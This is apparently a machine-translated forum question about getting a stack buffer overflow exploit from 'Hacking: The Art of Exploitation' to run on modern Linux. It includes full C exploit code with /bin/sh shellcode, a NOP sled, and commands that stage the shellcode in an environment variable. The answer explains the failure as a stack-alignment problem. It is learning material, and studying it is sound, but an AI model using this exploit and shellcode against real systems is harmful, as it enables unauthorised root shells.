Pourquoi n'est-il pas ce shellcode exécuter?

0

La question

Je travaille par le biais de Piratage: L'Art de l'Exploitation et suis en cours d'exécution dans mon premier accroc à essayer d'obtenir un bon état de fonctionnement exploiter à courir à partir du livre via une variable d'environnement. Tous les programmes sont compilés avec -fno-stack-protector -zexecstack -no-pie -fno-pie.

L'exécution de exploit_notesearch.c (quoique avec un très précises, offset), j'ai été en mesure d'obtenir l'exploit de la pop une coque en déplaçant le décalage avec argv[1]. Cela fonctionne sur les Systèmes d'exploitation modernes (avec l'ASLR désactivé) ainsi que le live-cd inclus avec le livre.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Plus loin dans le chapitre, nous avons mis le shellcode à une variable d'environnement et de tenter de rediriger les flux vers la place sur la pile où le SHELLCODE variable d'environnement est définie, à mi-chemin par le biais de la préfixé NOP sled. Cependant, ce n'est jamais exécuté l'exploit sur de nouveaux Systèmes d'exploitation, mais fonctionne très bien dans le Ubuntu 7.04 live CD fourni avec le livre. shellcode.bin est le shellcode dans le haut de la exploit_notesearch.c fichier couru avec echo -en et redirigé dans un fichier.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

Ce qui se passe ici qui a changé entre les anciens Systèmes d'exploitation et moderne? Est-il une protection, je suis pas au courant de qui l'empêche de monter le NOP sled au shellcode?

Je vous remercie.

c environment-variables shellcode
2021-11-24 04:34:00
1

La meilleure réponse

0

Le problème était pile à l'alignement, la compilation avec -mpreferred-stack-boundary=2 aligne la pile de même pour le livre.

2021-11-24 15:24:48

Dans d'autres langues

Cette page est dans d'autres langues

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................